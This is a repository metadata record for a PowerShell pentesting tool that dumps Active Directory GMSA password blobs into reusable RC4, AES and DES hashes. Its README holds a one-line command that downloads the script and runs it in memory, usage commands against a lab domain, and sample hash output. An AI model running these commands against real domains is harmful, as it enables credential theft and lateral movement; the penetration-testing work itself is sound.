{"id":31482167,"url":"https://github.com/the-viper-one/invoke-dumpgmsa","last_synced_at":"2025-10-02T07:42:06.420Z","repository":{"id":316205603,"uuid":"965660324","full_name":"The-Viper-One/Invoke-DumpGMSA","owner":"The-Viper-One","description":"PowerShell script to Dump GMSA Password blobs into RC4, 3DES and AES hash formats.","archived":false,"fork":false,"pushed_at":"2025-09-23T08:16:46.000Z","size":9,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-09-23T10:13:48.581Z","etag":null,"topics":["active-directory","gmsa","pentesting","powershell"],"latest_commit_sha":null,"homepage":"","language":"PowerShell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/The-Viper-One.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-04-13T16:40:24.000Z","updated_at":"2025-09-23T08:16:49.000Z","dependencies_parsed_at":"2025-09-23T10:13:53.192Z","dependency_job_id":"37cff348-e334-49e4-8e72-fa96cc2eabd4","html_url":"https://github.com/The-Viper-One/Invoke-DumpGMSA","commit_stats":null,"previous_names":["the-viper-one/invoke-dumpgmsa"],"tags_count":null,"template":false,"template_full_name":null,"purl":"pkg:github/The-Viper-One/Invoke-DumpGMSA","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/The-Viper-One%2FInvoke-DumpGMSA","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/The-Viper-One%2FInvoke-DumpGMSA/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/The-Viper-One%2FInvoke-DumpGMSA/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/The-Viper-One%2FInvoke-DumpGMSA/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/The-Viper-One","download_url":"https://codeload.github.com/The-Viper-One/Invoke-DumpGMSA/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/The-Viper-One%2FInvoke-DumpGMSA/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":277974419,"owners_count":25908396,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-02T02:00:08.890Z","response_time":67,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["active-directory","gmsa","pentesting","powershell"],"created_at":"2025-10-02T07:42:03.746Z","updated_at":"2025-10-02T07:42:06.416Z","avatar_url":"https://github.com/The-Viper-One.png","language":"PowerShell","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Invoke-DumpGMSA\n\nPowerShell port of core functionality from https://github.com/rvazarkar/GMSAPasswordReader.\n\nReads the password blob from a GMSA account using LDAP, and parses the values into hashes for re-use.\n\n## Usage\n\u003e Load into memory\n```powershell\nIRM 'https://raw.githubusercontent.com/The-Viper-One/Invoke-DumpGMSA/refs/heads/main/Invoke-DumpGMSA.ps1' | IEX\n```\n\u003e Commands\n```powershell\n# Search for all GMSA accounts and attempt to parse the password blob\nInvoke-DumpGMSA -Domain \"ESSOS.LOCAL\" -Server \"MEEREEN.ESSOS.LOCAL\"\n\n# Target a specific account by DistinguishedName\nInvoke-DumpGMSA -Domain \"ESSOS.LOCAL\" -Server \"MEEREEN.ESSOS.LOCAL\" -DN \"CN=gmsaDragon,CN=Managed Service Accounts,DC=essos,DC=local\"\n```\n\u003e Example Output\n```\nPS \u003e Invoke-DumpGMSA -Domain \"ESSOS.LOCAL\" -Server \"MEEREEN.ESSOS.LOCAL\"\n\nAuthenticated to MEEREEN.ESSOS.LOCAL as ESSOS\\BRAAVOS$\n\nGMSA Account         : ESSOS.LOCAL\\gmsaDragon$\nPassword valid until : 10/09/2025 14:54:59\n\nrc4_hmac             : 85b952359bee0656b74f4259810f7cad\naes128_cts_hmac_sha1 : c985f4f4d9c2b033bbff1feb25b5aa22\naes256_cts_hmac_sha1 : 25430549f280401c239c175588c1f8e9b0cbd44e9496e4e0c54b9d03d18c5aca\ndes_cbc_md5          : efa47ab31ae0d92f\n```\n\u003e Example Output (Lack of permissions)\n```\nPS \u003e Invoke-DumpGMSA -Domain \"ESSOS.LOCAL\" -Server \"MEEREEN.ESSOS.LOCAL\"\n\nAuthenticated to MEEREEN.ESSOS.LOCAL as SEVENKINGDOMS\\Moe\nFound GMSA but no rights to read msDS-ManagedPassword as SEVENKINGDOMS\\Moe\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fthe-viper-one%2Finvoke-dumpgmsa","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fthe-viper-one%2Finvoke-dumpgmsa","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fthe-viper-one%2Finvoke-dumpgmsa/lists"}